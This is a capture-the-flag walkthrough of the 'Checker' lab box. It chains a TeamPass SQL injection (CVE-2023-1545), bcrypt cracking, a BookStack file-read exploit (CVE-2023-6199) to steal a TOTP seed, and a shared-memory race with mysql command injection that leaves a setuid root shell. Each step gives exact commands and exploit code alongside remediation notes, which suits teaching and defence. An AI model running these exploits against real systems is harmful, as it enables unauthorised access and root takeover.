Checker
Summary
I found two web apps on the host: an outdated TeamPass password manager (port 8080) and an outdated BookStack wiki (port 80, vhost checker.htb). An unauthenticated SQL injection in TeamPass exposed the users' bcrypt password hashes. The weak hash for 'bob' was cracked, and bob's TeamPass vault held his BookStack login and an SSH login for the system user 'reader'.
SSH needed a second factor, so I used BookStack's file-read flaw (CVE-2023-6199) to read files from the server. A world-readable, permission-stripped backup of reader's home directory exposed the TOTP secret. With the password and a freshly generated code, I logged in over SSH as reader.
Reader could run a root-owned hash-checking script through sudo without a password; that script leaked a predictable, world-writable shared-memory key and then fed its contents into a root mysql command, so a race plus a mysql bang-escape ran my commands as root for the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for bob>"
export TOTP_SECRET="<a-password-you-choose>"Some commands also carry a value in angle brackets (<cookie>, <token>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 4
Find open ports and banners.
$ nmap -p- --min-rate=1000 -sC -sV $TARGETResolve the vhost locally.
$ echo "$TARGET checker.htb" | sudo tee -a /etc/hostsIdentify TeamPass from its session cookie.
$ curl -ksS -L --max-time 15 -D - http://$TARGET:8080/Fetch the BookStack login page and read the version string (v23.10.2).
$ curl --resolve checker.htb:80:$TARGET -ksS http://checker.htb/login -o bookstack_login.html; grep -in 'version' bookstack_login.html | tail -20FixPatch TeamPass and BookStack, and keep both currentCritical
Exact commands 2
Fetch the public CVE-2023-1545 PoC (Exploit-DB 52094) into the working directory.
$ searchsploit -m 52094Dump each user's login and bcrypt hash; keep only the hash column in hashes.txt for cracking.
$ python3 52094.py http://$TARGET:8080 | tee teampass_users.txtExact commands 2
Bcrypt mode 3200; only bob's hash cracks in practice. The result is $PASSWORD for bob.
$ hashcat -a 0 -m 3200 hashes.txt /usr/share/wordlists/rockyou.txtUsing the reader password from bob's vault. SSH prompts for a verification code, so a second factor is required before access.
$ ssh reader@$TARGETFixEnforce strong passwords and stop storing login chains in one vaultHigh
Exact commands 3
Grab a login CSRF token for BookStack.
$ curl -ksS -c bs.jar --resolve checker.htb:80:$TARGET http://checker.htb/login | grep -oE 'name="_token" value="[^"]+"'Log in as bob, then browse the 'Linux Security' book and open 'Basic Backup with cp' to learn the backup path.
$ curl -ksS -b bs.jar -c bs.jar --resolve checker.htb:80:$TARGET -d '_token=<token>' --data-urlencode 'email=bob@checker.htb' --data-urlencode "password=$PASSWORD" http://checker.htb/loginConfirms the backup file is not web-served (404), which is why the file-read flaw is needed.
$ curl -ksS -i --resolve checker.htb:80:$TARGET http://checker.htb/backup/home_backup/home/reader/.google_authenticatorFixRemove permission-stripping home backups from world-readable locationsHigh
Exact commands 4
Clone the oracle and enter the directory.
$ git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit && cd php_filter_chains_oracle_exploitPatch requestor.py so its PUT branch base64-wraps the chain and sends urlencoded form data: build the payload as <img src='data:image/png;base64,<b64>'/>, and change the PUT send to data='&'.join(f'{k}={v}' for k,v in merged_data.items()).
$ sed -i "1i import base64" requestor.pyProve the oracle on /etc/passwd first. Take the token and cookie from a live editor autosave; re-harvest if requests start failing.
$ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' --file /etc/passwd --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"<token>","Cookie":"bookstack_session=<cookie>"}'Leaks the first line of the file, the base32 TOTP secret ($TOTP_SECRET).
$ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' --file /backup/home_backup/home/reader/.google_authenticator --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"<token>","Cookie":"bookstack_session=<cookie>"}'FixProtect TOTP seeds and don't let a leaked seed plus password equal full loginHigh
Exact commands 3
Generate the code immediately before logging in; codes expire quickly.
$ oathtool --totp -b $TOTP_SECRETEnter reader's vault password and the fresh verification code when prompted.
$ ssh reader@$TARGETProve the context first -> <user.txt>
$ id; cat /home/reader/user.txt
uid=1000(reader)Exact commands 5
Shows the passwordless entry for the hash-checker script.
$ sudo -lRead the script and copy the compiled helper off the host to confirm the shmget(rand())/1666 and mysql interpolation behaviour.
$ cat /opt/hash-checker/check-leak.sh; file /opt/hash-checker/*Helper that reads the printed 0x key, attaches the same segment, and appends your payload to the detected line during the sleep window.
$ printf '%s' '#include <sys/shm.h>\n#include <stdio.h>\n#include <string.h>\nint main(int c,char**v){char l[256];while(fgets(l,256,stdin)){char*p=strstr(l,"shared memory 0x");if(p){key_t k=strtol(p+14,0,16);int id=shmget(k,0,0);char*m=shmat(id,0,0);char*h=strstr(m,"Leaked hash detected");if(h)strcat(h,v[1]);shmdt(m);return 0;}}return 1;}' > race.c && gcc race.c -o raceRun the sudo call and the race helper in lockstep; the ~1s sleep is the window. The bang-escape runs the cp/chmod as root.
$ mkfifo /tmp/p; ( sudo /opt/hash-checker/check-leak.sh bob > /tmp/p ) & cat /tmp/p | ./race '" or 1=1; \! /bin/sh -c "cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash"; #'Prove root with id, then read <root.txt>.
$ /tmp/rootbash -p -c 'id; cat /root/root.txt'FixFix the hash-checker: remove the sudo grant, drop insecure shared memory, and never interpolate data into a shell/SQL commandCritical
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd |
| 8080/tcp | http Apache httpd |